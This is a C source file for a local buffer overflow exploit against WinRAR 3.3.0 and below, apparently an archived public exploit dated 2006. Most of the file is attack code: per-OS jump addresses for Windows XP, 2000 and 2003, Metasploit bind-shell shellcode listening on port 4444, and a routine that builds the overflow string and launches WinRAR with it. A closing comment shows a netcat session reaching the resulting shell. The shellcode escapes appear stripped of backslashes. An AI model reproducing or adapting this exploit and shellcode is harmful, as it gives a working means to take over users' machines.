/*
	IHS public source code 
	WinRAR 3.3.0 and below local BOF exploit
	author : c0d3r , kaveh razavi <c0d3r@ihsteam.com>
	advisory : http://www.securityfocus.com/archive/1/420679
	tnx to alpha who reported the vulnerability
	workaround: use the lastest version
	special tnx to LorD and NT of IHS (my workmates and best friends)
	www.ihsteam.com
	www.ihsteam.net
	www.c0d3r.org
	showing some of iranian kids what real hacking is . 
	specially those who think changing a name server is hacking =)
*/

#include<stdio.h>
#include<string.h>
#include<winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define NOP 0x90
#define size 930

char exploit[size];
char winxpsp1[]   = "xCCx59xFBx77"; // jmp esp in ntdll
char winxpsp2[]   = "xEDx1Ex94x7C"; // jmp esp (not tested)
char win2ksp4[]   = "xBBxEDx4Fx7C"; // call esp in kernel32.dll
char win2k3_sp0[] = "xABx8BxFBx77"; // jmp esp in ntdll
char win2k3_sp1[] = "x6AxFAxE8x77"; // push esp - ret in kernel32
char *exec[3];
char point_esp[5];
unsigned int os;

// metasploit shellcode LPORT=4444
unsigned char shellcode[] =
"xd9xeexd9x74x24xf4x5bx31xc9xb1x5ex81x73x17x4fx85"
"x2fx98x83xebxfcxe2xf4xb3x6dx79x98x4fx85x7cxcdx19"
"xd2xa4xf4x6bx9dxa4xddx73x0ex7bx9dx37x84xc5x13x05"
"x9dxa4xc2x6fx84xc4x7bx7dxccxa4xacxc4x84xc1xa9xb0"
"x79x1ex58xe3xbdxcfxecx48x44xe0x95x4ex42xc4x6ax74"
"xf9x0bx8cx3ax64xa4xc2x6bx84xc4xfexc4x89x64x13x15"
"x99x2ex73xc4x81xa4x99xa7x6ex2dxa9x8fxdax71xc5x14"
"x47x27x98x11xefx1fxc1x2bx0ex36x13x14x89xa4xc3x53"
"x0ex34x13x14x8dx7cxf0xc1xcbx21x74xb0x53xa6x5fxce"
"x69x2fx99x4fx85x78xcex1cx0cxcax70x68x85x2fx98xdf"
"x84x2fx98xf9x9cx37x7fxebx9cx5fx71xaaxccxa9xd1xeb"
"x9fx5fx5fxebx28x01x71x96x8cxdax35x84x68xd3xa3x18"
"xd6x1dxc7x7cxb7x2fxc3xc2xcex0fxc9xb0x52xa6x47xc6"
"x46xa2xedx5bxefx28xc1x1exd6xd0xacxc0x7ax7ax9cx16"
"x0cx2bx16xadx77x04xbfx1bx7ax18x67x1axb5x1ex58x1f"
"xd5x7fxc8x0fxd5x6fxc8xb0xd0x03x11x88xb4xf4xcbx1c"
"xedx2dx98x5exd9xa6x78x25x95x7fxcfxb0xd0x0bxcbx18"
"x7ax7axb0x1cxd1x78x67x1axa5xa6x5fx27xc6x62xdcx4f"
"x0cxccx1fxb5xb4xefx15x33xa1x83xf2x5axdcxdcx33xc8"
"x7fxacx74x1bx43x6bxbcx5fxc1x49x5fx0bxa1x13x99x4e"
"x0cx53xbcx07x0cx53xbcx03x0cx53xbcx1fx08x6bxbcx5f"
"xd1x7fxc9x1exd4x6exc9x06xd4x7excbx1ex7ax5ax98x27"
"xf7xd1x2bx59x7ax7ax9cxb0x55xa6x7exb0xf0x2fxf0xe2"
"x5cx2ax56xb0xd0x2bx11x8cxefxd0x67x79x7axfcx67x3a"
"x85x47x68xc5x81x70x67x1ax81x1ex43x1cx7axffx98";

usage(){
 
 printf("-------- usage : ihs_winrar.exe OS_VERn");
 printf("-------- target 1 : windows xp service pack 1         : 0n");
 printf("-------- target 2 : windows xp service pack 2         : 1n");
 printf("-------- target 3 : windoes 2k advanced server sp 4   : 2n");
 printf("-------- target 4 : windoes 2k3 server enterprise sp0 : 3n");
 printf("-------- target 5 : windoes 2k3 server enterprise sp1 : 4n");
 printf("-------- eg : ihs_winrar.exe 2nn");	
 exit(-1) ;
  }
int main(int argc , char **argv){
 
 printf("n-------- WinRAR 330 and below Local BOF exploit by c0d3rn");
 if(argc < 2)  
	usage();
  printf("n");
 os = (unsigned short)atoi(argv[1]); 	 
  switch(os)
  {
   case 0:
    strcat(point_esp,winxpsp1);
    printf("[+] target : windows xp service pack 1n");
	break;
   case 1:
    strcat(point_esp,winxpsp2); 
    printf("[+] target : windows xp service pack 2n");
	break;
   case 2:
    strcat(point_esp,win2ksp4); 
    printf("[+] target : windows 2000 advanced server service pack 4n");
	break;
   case 3:
	strcat(point_esp,win2k3_sp0);
	printf("[+] target : windows 2003 server enterprise service pack 0n");
	break;
   case 4:
	strcat(point_esp,win2k3_sp1);
	printf("[+] target : windows 2003 server enterprise service pack 1n");
	break;
   default:
    printf("n[-] this target doesnt exist in the listnn");
   
    exit(-1);
  }  

printf("[+] exploit string is %d byten",size);
printf("[+] shellcode is %d byten", sizeof(shellcode)-1);
printf("[+] making exploit string :)n");
memset(exploit,NOP,size);
memcpy(exploit+516,point_esp,sizeof(point_esp)-1);
memcpy(exploit+530,shellcode,sizeof(shellcode)-1);
exploit[size]=0x00;
printf("[+] exploit string readyn");
printf("[+] preparing the executern");
exec[0]="WinRAR.exe";
exec[2]=NULL;
exec[1]=exploit;
printf("[+] executer readyn");
printf("[+] exploiting ........n");
execve(exec[0],exec,NULL);

return 0x0;
}
/*

I:Program FilesWinRAR>ihs_winrar 2

-------- WinRAR 330 and below Local BOF exploit by c0d3r

[+] target : windows 2000 advanced server service pack 4
[+] exploit string is 930 byte
[+] shellcode is 399 byte
[+] making exploit string :)
[+] exploit string ready
[+] preparing the executer
[+] executer ready
[+] exploiting ........

I:Program FilesWinRAR>nc -vv 127.0.0.1 4444
iran [127.0.0.1] 4444 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

I:Program FilesWinRAR>

*/

// www.Syue.com [2006-01-04]